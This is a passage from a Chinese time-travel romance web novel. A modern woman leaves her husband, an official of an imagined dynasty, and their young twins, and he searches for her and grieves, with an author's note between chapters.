安声又一次从梦中惊醒。 她甚至已分不清那是不是一个噩梦了,或仅仅是她脑中记忆的投射,在混沌的潜意识中,被不断放大。 “阿声。” 她耳边响起轻唤。 安声散乱的视线开始聚焦,转了转,黯淡到近乎熄灭的烛光里,左时珩正蹙眉望着她。 “嗯……”她应了声。 “是不是又做噩梦了?”他温柔摸着她头发,“近日你总心神不宁,夜里也睡不安稳,是否愿意跟我说一说,是因为什么?” 安声心跳得很快,几乎不受控的,她不断做着深呼吸,才勉强缓解。 “我害怕……”她转身钻进他怀里,“左时珩,我害怕。” “别怕,我在这里。”他的声音沉稳从容,像是有着强大的定力,“可以与我说说,你的梦里有什么吗?” 左时珩清楚记得,妻子已不止一次受到噩梦困扰了。 她曾独自去了天外山,回来时也是连续不断地做噩梦,甚至深陷梦魇,一直哭着喊他名字。 “……不记得了。” “不记得那就不想了,只是梦而已。”他轻拍着她后心一下一下安抚,“明日我去请大夫来给你看看如何?开个有益睡眠的方子。” “不要,绝不喝药。”安声拒绝地干脆果断。 他低笑了声:“好,不喝药,那要不要喝点别的?” “别的?” “嗯……比如奶茶或者……” “奶茶奶茶。” “或者……红枣银耳牛乳羹。” “红枣银耳牛乳羹!” 左时珩起身挑了烛火,故意叹道:“变心真快啊,奶茶转眼间就失宠了。” 安声坐起,被这话转走了注意力。 “谁叫你故意先说奶茶的,这个点喝奶茶只怕一夜都睡不着了,这是个干扰判断的错误选项。” 左时珩打起一面帷帐,朝她伸出手,轻笑:“看来,我干扰得很成功。” 安声握住他手,披上外衣,跟着他悄悄往外走。 半道她忽然想起什么,挠了挠左时珩手心。 “我想起是什么噩梦了。” “说来听听。” “梦见岁岁和阿序长大了,还是没学会拼音,怎么教都不会,也不认真学,我又急又气,变成了一只怪兽。” “怪兽?” “一种很丑的妖怪,然后所有人都怕我,你也认不出我,我就很伤心很难过,跑到大街上去,外面的人见到我也都吓坏了,他们一起围剿我,把我绑起来,说我不是来自这个世界的,要把我烧死。” “然后呢?” “然后我很害怕,就醒了。” 左时珩弯起嘴角:“原来如此,果然是很可怕的梦。” 有时虽无奈妻子不愿告知真相,可也的确佩服她编故事的能力,能脸不红心不跳,天花乱坠,天马行空。 可爱极了。 “那么以防阿声将来变成怪兽,很伤心很难过,看来岁岁和阿序的拼音得我来教了。”他跨进厨房,掌起灯。 烛火在夜风里微微一颤,便染亮几尺天地,左时珩的影子被映在墙上,比目之所及更加高大挺拔,如山间松柏。 他洗了手,在厨房拿出一碗泡发的银耳,牛乳也是早有的,在后院的井底冰着。 安声又惊又喜,问他:“何时备下了这些?” “原想明早教李婶做了给你,怎奈某只小猫半夜馋嘴,只能现在满足她了。” 他说着话,坐到灶台后面,挽起衣袖,熟练地用火石火绒点着干草,塞入炉膛,放了两根柴火进去。 安声倚在灶旁看他,杏眸被烛光映得晶亮。 再无噩梦方醒时的恐惧。 不过这一番折腾后,安声虽满足了口腹之欲,两人却是一身的汗,不得不顺势烧水一起洗了澡,才在天将明时相拥睡去。 左时珩翌日休沐,但他却只比平日晚了半个时辰便起了。 安声日晒三竿才起,那时左时珩已教完了岁岁与阿序一日的听读与拼音,李婶在厨房午膳也做好了,穆诗打水来服侍她洗漱梳头。 她目光落向窗外,绿影摇动,日光璀璨。 大雨过后,屋里总算不再潮湿,是盛夏最后的余热。 午后,左时珩在书房处理公务,安声则在尝试修复那艘贝壳船,岁岁与阿序在一旁玩累了,齐齐在地垫上睡着了。 安静闲适得很,只有蝉鸣不绝。 安声尝试了几次,最终放弃,贝壳损坏的太多,已确定修复不了,她将箱子锁上,收起来,心想将来若有机会向亲自向赵夫人道歉吧,可惜今年她仍未进京,依旧是张大人回去的崖州。 她抬头看向左时珩,他正凝神,在文书上奋笔疾书。 她又转头看了眼两个孩子,然后从她的木料箱子里找出了几块稍大的木料,打算用木刻一艘船。 她想,岁岁阿序既喜欢船,木头的总是更不容易坏。 说到船,她不由又想起安和九年在书房见到的那个飞机,会心一笑,又多拿了几块,刻都刻了,索性就多留下些东西。 她沉浸其中,不知不觉一下午功夫过去了,直到夕阳余晖刺破窗棂,方觉日暮。 书房中已没有人,岁岁阿序早就醒了,也不知是被左时珩带出去还是被穆诗带出去了,竟未来吵她。 她起身,抖了抖身上的木屑,地上洒得到处都是,手指也磨出了茧子。 眼前,一艘现代化的轮船已初具规模,只还未细化。 她曾送给过赵夫人一艘船,如今也算得心应手,虽比不得贝壳精致,倒是更结实。 木头飞机则更是简单,她完全是按照卡通片里的飞机雕刻的,用了三块木头拼接起来,以楔钉固定,从外表看接缝并不明显,只是若给孩子玩的话,须打磨后再刷几遍桐油。 安声转了转手腕,打算将东西收拾了。 左时珩忽然打了水进来,握住她手腕:“又忘了,要先洗手,细细检查一番有无木刺。” 安声眨眼:“你何时走的?” “进出几回了,只是夫人似乎眼中只有木雕,全无她备受冷落的夫君了。”左时珩给她洗着手,又寸寸检查,动作虽温柔,语气却故意透出酸溜溜的。 安声笑了几声:“左大人竟然跟几块木头争风吃醋,知道了。” 她收回手,弹他一脸水珠,得逞地笑。 左时珩闭眼,压住上扬的嘴角,故作委屈:“原来‘知道了’是替木头打抱不平啊,还以为……” 安声临近,用帕子给他擦了擦脸上的水珠,又见他闭着眼,长长的眼睫轻垂着,一副任君采撷的模样,如同故意勾引她,哪里还矜持得住,立即踮起脚亲了上去。 柔软温润的唇瓣蜻蜓点水般,触碰又分开。 她笑:“‘知道了’是这个,左大人可还满意?” 左时珩睫羽轻颤,缓缓掀开,眸底一片轻盈明亮。 “亲的太浅,时间太短,我不满意。” “真是越来越贪心,每夜亲的还不够多?” “夜里是夜里,白天是白天,两笔账岂可混为一谈。” 安声正要反驳,门口蓦然传来动静,两人转身望去,是岁岁和阿序过来了,他们身后是不知听了多少,已满脸通红不敢抬头的穆诗。 左时珩轻咳了声,从容道:“走吧,该去吃晚饭了。” 这夜睡前,安声又写了封信。 她在信中写道—— 『左时珩,我所会的另一门语言,与拼音一样,亦是由二十六个字母组成,我想现在教你一句:ILOVEYOU。 意为“我爱你”。 我还有一首这种语言所写的情诗与你分享,我会写在信中,却不能在此刻就告诉你它真正的含义,如果你想知道,请等到安和九年,那时,我会回来为你念上两遍,也想请你读给我听。』 她在信的末尾附上了一首英文诗,待墨干,将信折起,收入信封,放进那个大木箱里。 里面重重叠叠,摞了很高的信。 她数了数,已超过两百封。 安声出神片刻,才将箱子关上,推回柜子底下。 …… 时光荏苒。 当那艘木船全部雕刻完工后,安声闻到了院里桂花的味道。 安和三年的秋天,不知何时到了。 院里那棵桂树已有些年头,大约前朝时随这座府邸建成就已存在,因此花开得极为繁盛,星星点点地缀满了枝头。 安声带着岁岁与阿序在桂树下铺上布,在树底下躺着,静静望着随风飘落的桂花,任风染了一身。 碧净天空被枝叶分割成支离破碎的蓝,只偶尔漏下一点浮动的碎金,分不清是桂花,还是阳光。 最近她的记忆有些模糊,她开始会分不清哪种才是现实。 关于那二十四年在现代的经历逐渐在她脑海清晰起来,而关于丘朝这不过三年多的部分,竟还要想一想,才缓缓浮起。 甚至想起来的部分,也更像是走马灯似的默片,从她脑子里毫无痕迹地划过去了。 因此,她总要刻意去想,时时提醒自己,加深记忆。 岁岁和阿序在桂树下玩得很开心,他们在满地的桂花里滚来滚去,直到日头偏移,安声才似从一场梦境博弈里醒来,寻回灵台清明。 她带岁岁阿序捡了许多桂花,然后洗干净,加到蜂蜜里封存起来,待冬日启封,便是芬芳馥郁的桂花蜜。 还同穆诗一道用剩余的桂花做了糕点,让岁岁和阿序也参与其中,小手在面粉里揉来捏去,不亦乐乎。 连日下来,连夜里睡觉做梦也是香的。 中秋那日,安声随左时珩再度进宫,赴了场宫宴。 她恍惚想起,与安和九年那次相比,她已丝毫没有了紧张,只是她当初的记忆也好像模糊起来,甚至有些记不清那一次具体发生过什么。 左时珩大约觉察出她状态有些不对,因此提前离了席,接上她回家。 路上,他仔细观察安声神色,摸了摸她额头,却也没有发现不适的迹象,只是她那双明媚的杏眸,偶尔会停滞着,仿佛失去光彩。 他若唤她,她便看过来,视线重新聚焦,诧异问:“……什么?我刚在想事情。” 左时珩又不禁疑心是自己错想,问也问不出缘由。 中秋未至时,府上就早早备了青蟹,橙子,月饼,桂花糕,桂花酒等,穆诗一家本以为当日大人夫人进宫去,就无法一起过节了,没想到左时珩他们回来得早,正好赶上与他们一起祭了月神,又在庭院中吃了顿团圆饭。 期间,左时珩的目光始终不离安声。 安声与穆诗一家谈笑风生,并无丝毫异常。 可他心头总有份说不出的不安。 夜渐渐深沉,人渐渐散去。 岁岁和阿序早已累得睡着了,安声与左时珩先抱了孩子回房休息,然后又默契地回到庭中月下,那棵桂花树旁,相依相偎,静静享受这个静谧的月圆之夜。 明月当空,清辉流淌。 安声轻轻拍了拍脸,热热的,思维也隐约混浊起来。 她想她大约是饮桂花酒饮多了,有些醉意。 她靠在左时珩身上,喃喃道:“安和九年时,我们是在临水亭中看的月亮。” 左时珩轻轻的声音羽毛般掠过她耳畔,沾染着桂花香气。 “安和九年?” 安声心脏突兀震颤了下,传来尖锐刺痛。 她一下捂住心口,低哼了声,酒醒了大半。 “阿声!”左时珩扶住她,惊问,“你怎么了?” 安声仰起头,脸上的血色几乎褪尽,风拂着她的发丝与衣裙,似将迎风飞起,融入那一片盛大的月光之中去了。 左时珩的心跳这一刻快得可怕,下意识紧紧抓住她。 他听见她轻声说:“左时珩,我决定在安和四年到来之前,再试一次。” 第82章 临行 安声几乎可以确信,无论哪一次轮回中的自己,都没能力找出时空罅隙中时间流速的比例,所以她才会一次次尝试。 这是最笨的办法,但有用。 至少,她上一次已成功在安和九年归来,只是稍迟了一点。 最近她抽离的感觉愈发强烈,她十分不安,纵然这个时空要到安和四年某日才能将她驱离,而“死期”前的等待却最痛苦难熬。 她决心提前进入罅隙,多尝试一次,如果她目前的认知推测能让她在安和四年前出来,她便有安和九年准时归来的信心,如果是在安和四年之后,那就只能重来,代价是失去了这本该还能拥有的半年。 中秋月夜,她向左时珩说出那句话后,再没有同他解释了,她不想正式告别,告别总让她觉得,是一段人生的句号,而她还不想画上句号。 她希望她的短暂离去,如同刚倒的一杯热茶,客人中途离席,而回来时茶水尚温。 只是无论她做怎样自以为充分的准备,总能在左时珩眸底深处窥探到恐惧,他很少将负面情绪展露在她面前,但日益累积后已开始藏不住。 这段时日,她每每自梦中惊醒,左时珩总在第一时间安抚她,可见她深陷噩梦时,他也担忧到整夜无法入眠。 安声对此既心疼又难过,但她无法说出全部真相,何况真相比谎言残忍。 左时珩如此爱她,若他知晓她曾无数次为了他们的结局而反复痛苦重来,只能比她痛苦十倍百倍,因为安声至少能为一个希望努力,而他什么也做不了。 中秋那日后,安声陪岁岁与阿序睡了两夜,给他们讲故事,哄他们睡觉,望着孩子稚嫩的小脸,天真的眼神,她真是不舍到了极点,甚至在心里后悔自问,选择少陪他们半年,会不会是个错误的决定。 不过,她知道,在不知多少次的轮回中,她永远都会成为他们的母亲,尽管她不记得,谁也不记得。 但爱始终发生。 她同岁岁阿序解释娘亲的离去,是和他们做了个游戏。 她说,娘亲就是故事里那个公主,马上要提剑去打怪兽,如果岁岁和阿序守着爹爹,乖乖在家等娘亲回来,那么他们就会赢,以后都不用怕怪兽了。 岁岁问:“娘亲什么时候回来?” 安声说:“打败怪兽就回来。” 岁岁又问:“什么时候能打败怪兽?” 安声尽力扬起一个笑:“五年。” 岁岁与阿序尚不明白五年是多长,他们的人生长度甚至还不足三年。 阿序向她问起,怪兽在什么地方,他能不能跟娘亲一起去。 安声摸摸他的头,称赞他很勇敢。 “……但是只有娘亲才能战胜它。” 阿序仰着脑袋,脆生生问:“为什么?” 岁岁抢答:“因为娘亲是公主。” 阿序又问那爹爹为什么也不能去呢?爹爹不是王子吗? 岁岁答不出来,看向娘亲。 安声怔然片刻,笑道:“因为怪兽最想伤害的就是你们爹爹,所以岁岁和阿序要留在爹爹身边,替娘亲好好保护爹爹,能不能做到?” 他们异口同声:“能!” “我的岁岁和阿序真是天下最聪明最勇敢的宝贝。”安声俯身将儿女拥入怀中,慢慢红了眼圈。 她亲了亲他们,柔声道:“娘亲会回来的,所以你们一定要保护好爹爹。” 第三日,安声去找了林雪,同她说,她即将出趟远门,短时间内无法回程,请求她若有必要,就接岁岁与阿序去照看一段时间。 林雪惊诧,连声问:“你独自出远门左大人怎生放心?你要去哪儿?何时回来?岁岁和阿序怎么办?” 安声有一瞬的茫然,丝丝缕缕哀伤从茫然中翻涌上来。 她仰向万里无云的碧蓝苍穹,缄默许久,最终化作一声叹息。 “我不知道……” 她只有反抗命运的勇气,却没有战胜命运的信心。 …… 除去除夕夜,安声与左时珩说过要回家的事外,她再未告诉过他任何,所以左时珩心中惶惑与日俱深。 中秋那夜后,他再无法入睡,白日里坐在衙署,亦是心不在焉。 苏大人见他精神不济,以为他是累到了,准他一日假,让他好好休息,往常他应是拒绝的,但那日他立即就回了,一路惴惴,直到在书房寻到安声才松口气。 安声又在写信,但这次她写好放入信封后,没再放入那口箱子里,而是直接递给他。 “左时珩,过两日我就会回家,若是我没能在年底前回来,你就打开这封信,看完后再去看箱子里的。” “回家?” 左时珩故意没去接那封信。 安声默了默,尽量使自己声音听起来平和。 “我同你说过的,我要回家。” “你说的是安和四年,到年底还有三个月。” “嗯……还有三个月。” 安声拿信的手微不可察地颤抖。 左时珩握上去,仍未接信,他直视妻子的眼,温声道:“阿声,告诉我你的归期。” 安神抿紧了唇,不敢看他。 “阿声。”他俯身,托起她垂落的目光,“你曾说明年才会走,为何又是现在?与你中秋夜提到的安和九年是否有关?” 安和九年—— 安声震了下,左时珩真是敏锐得过分。 他向来的优点也是他致命的缺点,她真希望他迟钝一点,什么也不要问,什么也不去想,只当她真是回了家,安安心心等她五年该有多好。 可惜……慧极必伤。 “左时珩。”安声捧着他脸,蹭了蹭他鼻尖,温柔道,“不要害怕,你不会失去我的。” 这话并不能使左时珩心安,他将妻子拥入怀中,低低叹气。 “阿声的心事既不能与我说,是否能再等一等,等入冬了,工部的事宜少了,我有许多时间陪你,无论你想做什么都可以。” 回答他的是安声的沉默,她伏在他胸前,压抑着沉重的呼吸。 左时珩这一夜依然无眠。 他只能时时望着身旁的安声,才可安心,不敢移开目光,生怕一眨眼她就会忽然消失似的。 翌日他不去衙署,便与安声寸步不离。 早膳后,安声不得不将他拉回房,按坐在床上。 “左时珩,你最好睡一觉,否则上午怎么教岁岁和阿序的拼音读写?” 左时珩摇头:“我不困,可以教。” 又执了她手,露出个温和的笑:“待会儿你就在书房陪我好吗?” “我现在就陪你,你需要好好休息,你已经很多天没有好好睡觉了。”安声自顾上了床躺下,展开一条胳膊,笑道,“来,躺这儿,换我抱着你睡,看看能否睡得着。” 左时珩只是望着她,不动。 安声语气夸张:“唉,感情淡了。” 他被她逗笑,这才不疾不徐地脱了衣裳,慢慢躺下去。 但他并未真的压在安声胳膊上,而是枕在枕上,颈部与床的空隙容留她手伸过。 安声不需要他的贴心,她屈起小臂,用力一揽,将左时珩抱紧在怀里。 与左时珩高大伟岸的身躯相比,安声显得娇小玲珑,因此此刻她抱着他,只是将身子倾斜过去,揽住他的上半身而已。 “这样如何?” 左时珩长臂一展,锢住她腰肢,力道将她带的更近,脑袋则深埋进她怀里,任由她的气息将自己紧紧裹住,心里的不安才稍稍减弱。 “嗯……的确能让人好眠。” 低沉的嗓音轻轻响起,已掩不住倦意。 安声笑:“方才谁说不困的?” “是不困,但你助长了我的欲望,我的……贪婪。”他气息灼热,与她心跳声缠绕,携着几分慵懒,“怎么办……若是日后你不与我一起睡,我只怕孤枕难眠了。” 安声揶揄了句:“看来,我变成你的阿贝贝了。” “阿贝贝?” “就像岁岁的小狗玩偶,睡觉时总要抱着才安心。” 他轻笑一声,在她怀里蹭了蹭,气息洒落在她胸前颈间,酥酥痒痒的。 “嗯,你是。” “那现在,你就乖乖睡一会儿。” 安声的手指抚摸过他耳廓,停在他耳根处轻柔摩挲。 习惯了与妻子交颈而眠,左时珩睡觉虽浅却很安稳,安声的一切对他来说,如同自身本就有的,她的气息,心跳,味道,体温,早已与他魂魄一体,密不可分。 因此,安声若睡不好,他会比她先一步惊醒,细心查看她的状况,安抚她的不安。 这段时日,安声噩梦频发,左时珩便也甚少睡去,白日累极时也不过在衙署长案后合衣靠一靠,又强打精神处理公务。 这次,他难得睡了沉沉的一觉,连一个梦也没做。 醒时,还有些残存睡意,让他的思绪略显迟滞。 床边的纱帐懒懒的垂了一半,光漫进来,被滤得熹微,令他难得失去了对时间的分辨。 左时珩看向床里,安声不在。 他立即坐起,下床,随手拿起的外衣也来不及披。 外面阴沉沉的,刮着风,深秋桂花凋零,只剩庭中几盆霜菊孤零零地绽着,也已过了盛时,黯淡无光。 他走出卧房,来到廊下,向书房去,脚步愈发着急。 人尚未至,安声便从里出来,他不由分说将人揽入怀中,紧紧抱着。 安声见他这般惊惶,似有些惊诧,摸了摸他后背。 “怎么了?” 他心跳得快。 “醒来不见你……说了要陪我的。” 安声笑道:“我见你睡得很好,就离开了小会儿,这就要回去了。” 他应了声,确认她在,才松开她。 正要去牵她的手,却突然牵了个空,他定神望去,身侧空空荡荡,没有半个人影。 左时珩猛然一惊,睁开眼,浑身冷汗。 他缓了缓,才觉知方才不过是个噩梦罢了。 纱帐正常垂着,透出几缕金色光晕。 他打起金钩,披衣下床。 今日窗外阳光极好,晴空万里,一点风也没有。 他走出去,庭中的桂树尚未完全凋谢,还有些残余碎金洒落枝头,氤氲着香气,而那几盆菊也开得正好,为日光一照,缤纷且富有生机。 与梦里完全不同,这是个明媚的秋日。 左时珩向书房走去,不知为何,脚步仍然如同梦中那样快起来。 书房窗半开着,影影绰绰,似乎有人。 他顿了顿,步入书房。 倏的愣住。 不见安声,只有穆诗在收拾桌面。 他启了启唇,喉间凝涩,几乎发不出声音。 “……夫人呢?” 穆诗道:“夫人说有急事出门去了,临走时不小心打翻了墨,要我将这里收拾一下。” 她将一封信放在桌角:“这封信,夫人说要给大人看。”—— 作者有话说:抱歉读者老师们,昨晚回来太晚,太困,睡了一会才起来补上更新[求你了]给大家小红包补偿[抱抱] 第83章 孤影 “很抱歉,左时珩,我有太多事无法告诉你,‘回家’非我自愿,我曾想过很多办法,大抵都无用。若我就此消失,请待安和九年三月至云水山中寻我,我会再次回到你身边。但当日你所见之我,已非今日之我,岁序更迭,我会失去我们所有的过去,只记得来处。 我知道这听起来不可思议,我也不能解释,但的确如此,请你也提早使岁岁阿序明白此事,勿使他们将来以为娘亲不爱他们。 另,纵使说了千百次,我依然要说我爱你我爱你我爱你—— 努力加餐饭,活过一百岁。” 一封很短的信,字迹急促,信的结尾没有她的名字,只有一颗红色的爱心,这是她的习惯。 左时珩拥有一目十行的能力,但他字字句句读了几遍,读的很慢很慢,直至心如奔雷,目力模糊,几乎有些站不住。 穆诗忙扶住他,问:“大人你身体不舒服吗?” 左时珩无声摇头,将信小心折起,重新放回信封,贴身放着。 定了定神,他大步走出去,唤来穆山,吩咐准备一匹快马,他要出城。 穆山听他语气,什么也不问就去准备了。 左时珩从侧门出,翻身上马,握紧缰绳,出了小巷。 冯敬正从外回来,见状热情同他打了个招呼,他仿佛没听见似的,一骑绝尘,只余下马蹄扬起的灰尘。 左时珩向来温和有礼,如此失态他还第一次见。 冯敬愣了愣,向门房问:“你们家左大人这是要去哪?这么着急。” 门房摇头。 左时珩纵马不停,一路出了城门,往云水山而去。 云水山是群山主峰,山脉绵延百里,比天外山要高得多,也大得多,山中常有野兽出没,除了附近的樵夫或猎人,少有人迹。 左时珩快马抵达山脚,完全寻不到上山的路,正巧碰上一个过路的樵夫,樵夫给他一指,那灌木交错间,有条被人踩出来的隐约小路,陡峭难行。 他道谢后,栓了马,径直往山上去。 山路难行,衣袍被杂草树枝勾得褴褛,添了几道血痕,更是不知跌了多少次跤,手心与手臂也有擦伤。 如此这般,也没能在日落前上山,离山顶甚至还有很长一段距离,眼前山木错落,杂草丛生,枯叶遍地,寻不到任何人走过的痕迹。 秋深薄暮,山间已起了雾。 左时珩皱了皱眉,沿来路下山。 他做事从不会这般仓促,头一回毫无准备,实在是急得很了。 下山时,金乌已坠入山后,云霞迤逦,雾气弥漫,光线似被瞬间吞噬了,回到山脚时天完全黑了。 云水山的轮廓在夜色中沉默而险峻,偶尔传来一声野兽长嘶,凛然不可侵。 左时珩仰头驻足良久,才牵马离开。 他没有回城,而是继续往前,去了那座破庙,破庙无人看管后,似乎失去了最后一丝生机,不知在哪场风雨中,房梁断裂砸了下来,那尊本就为岁月剥落的神像,四分五裂地倒在地上,失去了最后的面目。 因人而存在的事物,一旦失去了人,就只剩下了时间,迅速地悄无声息地湮灭,最终找不到一丝痕迹,被自然吞噬,回归大地,皆是如此。 夜色晴朗,天边悬起缺月。 不如中秋皎洁,却也柔和明亮,宛如披向人间的一件白色轻纱,万物模糊呈现在眼前,若有若无,仿佛置身梦里。 左时珩牵着马一直走,漫无目的似的,不知多久,他才停了下来,眼前是一座简单的坟,坟前一座石碑,碑文字迹娟秀飘逸,是妻子的字。 “纪念吾师,江州人士,卒于安和二年腊月。 不知生辰,亦不详其姓字,惟记太永末年授我木雕技艺。 身如浮萍,心若明月。 徒安声谨立。” 月光如雪,四周无人,冷清阴森。 左时珩并不害怕,上前撩袍跪下,借亮拂去碑上落叶。 老乞丐在此下葬后,他与安声来过三次,上元,清明,中元。 安声说,她曾梦见过师父一次,他终于不再蓬头垢面,衣衫褴褛,而是穿上了一身干净衣裳,头发也干净整洁,十分和蔼慈祥。 他便问,老先生在梦里说了什么? 安声想了一想,说他这辈子没什么遗憾,来生想去别的地方看看。 他点头,说那样很好。 安声则搂着他脖子贴近,笑吟吟问:“左时珩,你不是不信鬼神吗?难道你也相信我是真梦见了师父,而不是胡思乱想?” 他笑了笑,低头轻吻她。 “我从未遇见过神鬼玄妙之事,故而不信,但亦理解尊重旁人所想,若能让生者心安,又何必扫兴,何况……” 说罢,他故意使了个坏,往她身后不经意看了眼。 安声忽然背后一凉,缩进他怀里:“你……你在看什么?” 他顺势抱紧她:“一个影子,许是看错了。” 安声埋在他怀里问:“什么影子,还有吗?” 安声又怕又想看,将他衣襟抓得紧,飞快回头瞥了下,转过头来一脸无语:“左时珩你耍我,那是树影。” 他眼底有些得逞的笑意:“我没说不是。” …… 左时珩的目光重新定格在碑文上,俯身拜了拜。 “老先生若泉下有知,也请入晚辈梦中,给予指示。” 无人应答,连风也停了。 周遭安静异常。 左时珩起身伫立良久,最终离去。 他一夜未睡,在天微亮时进了城,骑马往天外山了一趟,来客寺僧人同他说,安声的确来过,不过不知何时早已离开,亦不知何处去了。 他踏进立石殿,在那块似人高的奇石面前看了许久,想不出为何安声曾到这里多次。 他在奇石周围走了一圈又一圈,去看上面的字,但划痕重重叠叠,杂乱无章,他也没有找到妻子的字。 …… 安声与左时珩一夜未归,李婶与穆山都急得不得了,又不知该怎么办,只能干等。 直到翌日辰时末,终于见到大人回来。 李婶高兴不已,大松一口气,但左看右看,问:“夫人怎么没和大人一起回来?” 左时珩默了默,道:“我去看看孩子。” 岁岁和阿序已起来了,穆诗正带他们在书房玩。 他在门口站了会儿才走进去,儿女兴奋地扑过来一左一右抱住他的腿,连声喊爹爹。 他蹲下将他们揽在臂弯里,温声道:“娘亲要很久才能回来,岁岁阿序晚上要自己乖乖睡觉,好吗?” 岁岁点头,稚声道:“爹爹,娘亲去打怪兽了。” 阿序将手中的飞机给他。 “娘亲说过,她去了很远的地方,要坐飞机才能到。” 左时珩笑了笑:“嗯,娘亲是去了很远的地方打怪兽,不过很快就会回来的,她很想很想岁岁和阿序,不舍得离开太久。” 穆诗已不是能被童话故事哄骗的年纪了,闻言红着眼问:“大人,夫人去哪了?什么时候回来?大人昨天出门不是去接夫人的吗?” 左时珩缄默片刻,才颔首:“嗯,我会接她回来的。” 他低低叹了口气,吩咐穆诗照顾好儿女,又出去同李婶穆山交代了一番,才换了官服去工部衙署。 一进门,好几位官员都盯着他看,苏大人更是从庑房里皱眉出来:“左时珩,你向来勤勉负责,如何尚未告假就缺席朝会,礼部今日早朝上还参你一本,说你闹市纵马,彻夜不归,可有此事?” 左时珩平静道:“是有此事。” “你……”苏大人左右扫视,“算了,你跟我进来。” 苏博走进庑房,刚要开口训斥,见左时珩眼下淡淡淤青,神色颓靡,又不禁放软了语气。 “他们说你年轻气盛,居功自傲,仗势忘本,你可知晓其严重性?” 左时珩不语。 苏大人叹了口气:“我当然知你最不是这样的人,不过人言可畏,你年纪轻轻身居高位,一言一行更要小心谨慎,皇上之前不让你立即升任工部侍郎也是藉此,你莫要辜负圣恩。这次只扣你两个月俸禄,算是小惩大诫。” 左时珩垂眸:“好,多谢老师提醒。” 苏大人皱眉:“你这是怎么了?魂丢了?我看你前两日脸色差,特意给你放了日假休息,怎么反倒更疲惫了?” 左时珩脸色微白,气质较往日温和更多了些清冷疏离,仿佛神游天外。 闻言他仍是摇头,神色从容答:“无碍,只是没休息好。” 见状苏大人也无话可说,又点了两句,左时珩一一应下,依旧反应淡淡,不知听没听进去。 不过除了情绪不佳,他倒是没耽搁多少公务,一日间就处理了积冗的公文,还有余力去京中各地监察工程进度。 如此又过几日,苏博趁他下值前再去他值房,见到他不由眉头一皱。 “你这是病了?怎么短短几日消瘦这般多?” 左时珩捏了捏眉心,起身给他行礼。 “多谢老师关心,我无事,大约是这几日有些累了。” “事情虽多,却非一日之功,不要着急,再年轻身体再好也不能为所欲为,明日你休沐,还是去太医院请个太医看看吧。” 左时珩应声,交接公务后离开。 回到家天已黑透了,岁岁与阿序早已到了睡觉的时辰,后罩房已熄了灯。 穆诗安排人给净房打去了水,又忍不住向他问起:“大人,夫人何日回来啊?今天小姐和少爷都说想听娘亲讲故事呢,睡前还哭了一阵。” 疲倦翻涌,仿佛锈蚀了寸寸骨骼。 左时珩将手搭在门框上借力,语气一如既往的温和。 “夫人回娘家去了,过段时间我去接她。” 穆诗松了口气:“太好了,原来是回娘家去了,还从未听夫人提起过呢。” 左时珩颔首:“在一个很远的地方,路途漫漫,不过总有归期。” 又道:“若岁岁阿序夜里睡不着,就让他们来东厢房睡吧。” 穆诗点点头。 左时珩不再说,进了净室。 雾气朦胧,烛光轻折。 他仰靠在浴桶上,轻阖着眸,像是睡着了。 第84章 大寒 左时珩是被穆诗的声音惊醒的,她在门外有些着急地说,少爷小姐半夜醒了,均哭得收不住,要找娘亲爹爹。 浴桶里的水早已冷了,秋夜凉意袭人,他抄了一把泼在脸上,清醒了些,起身穿了衣服出去。 “把岁岁和阿序抱过来吧。” 他绕到床后,打开柜子,准备再取一床被子,开门忽然顿住,衣柜里满满当当皆是妻子的衣裳,半点没有收拾过。 它们整齐叠在衣柜里,不曾有改变,仿佛下一刻安声就会笑意盈盈地走来,问他,左时珩,我明天该穿哪一件好呢,浅黄色怎么样? 他刚开始总说她穿什么都好看,这是真心话,但她不满意,噘着嘴瞪他,说“左时珩,你根本就是在敷衍我”。 他笑说冤枉,在他眼里,她的确怎样都好。 安声不依不饶,撒着娇非要他说出每件衣服的长短之处。 他满腹经纶,在她面前却总无用武之地,不得不败下阵来,认真将每件衣裳的颜色绣花样式等,当作四书五经来分析,经过她的指点,他有了丰富的经验,如今替她买衣裳首饰时,总能使她满意。 她会飞扑上来抱住他,高兴道:“左时珩,你怎么知道我衣柜和首饰盒里恰好缺一件这样的?” 左时珩但笑不语。 他当然知道,她的每句碎碎念,他都记得。 这些小事同吃饭饮水般嵌刻在他们的日常里,唯失去后,方觉感知之深,远超他魂灵可承受之重。 按在柜门上的指骨隐隐发白,左时珩就这般久立,直到听见儿女的哭声,才从回忆中抽身,从柜子底下抱了被子出来。 岁岁和阿序见了他,哭声小了点,但仍收不住。 他拿了湿帕子来给他们擦了脸,让穆诗等人早些去休息,然后留了盏蜡烛,将床帐放了下来。 他一上床,岁岁阿序便抱了过来,钻进他怀里,委屈巴巴地喊着爹爹。 岁岁还抱着那只毛茸茸的小狗玩偶不撒手,眼睛红红的。 “爹爹,我想要娘亲。” 小孩子就是如此,即便安声与他们提前铺垫过许多,他们对游戏的乐趣也会很快由对娘亲的思念取代。 左时珩摸着她头发,轻声道:“娘亲打败怪兽就回来了呀。” “娘亲为什么不带我去?我也想打怪兽。” “因为岁岁还小,长大了就能跟娘亲一样厉害。” “那我长大了,要保护爹爹和娘亲。” 左时珩笑了笑,点头:“好,爹爹相信你。” 阿序抓起他手,小小的眉头紧皱:“爹爹这里痛,是不是怪兽咬的?” 左时珩垂眸,之前手上的擦伤已结了痂,但沐浴时被水泡久了,又变得明显了。 “爹爹不痛,没事的。” 阿序说:“爹爹擦药,擦药才能好。” 他点了点自己手上曾被贝壳船划伤的地方,娘亲曾给他两天上了四次药,直到完全结痂才罢,他记得清楚。 左时珩耐心道:“爹爹已经上过了。” 但儿子很执拗:“还没有包起来。” 左时珩笑了笑,应声,从一旁拿了帕子当他的面将伤口裹上。 “这样好吗?” 阿序:“嗯!” 直到将岁岁阿序都哄得乖乖睡下,左时珩给他们盖好被子,才慢慢躺下。 他轻轻闭上眼,又掀开,有些茫然地望着床帐顶,毫无睡意。 这几夜,他的魂魄总像无所归依,飘飘荡荡,哪怕白日里再累,也依然难得一个好眠。 于是他轻轻坐起,下床,执灯去了书房。 他从那书信箱子里取了一封信,信封上并未标注打开的日期,他珍而重之地坐到桌后,将灯烛挪近,小心翼翼地取出信纸。 方一展开,便是扑面的墨香,柔和,清浅,仿佛妻子写字后腕间的味道。 一见字迹,左时珩便忍不住扬起嘴角。 她在信中第一句话便说“猜到你肯定提前打开了,这次就原谅你,下一次真的要等三天才行!”。 自那封“告别信”后,这几天他只看了一封信,那封信被放在最上方,信封上写着“从这封开始读,不准不遵守规则”。 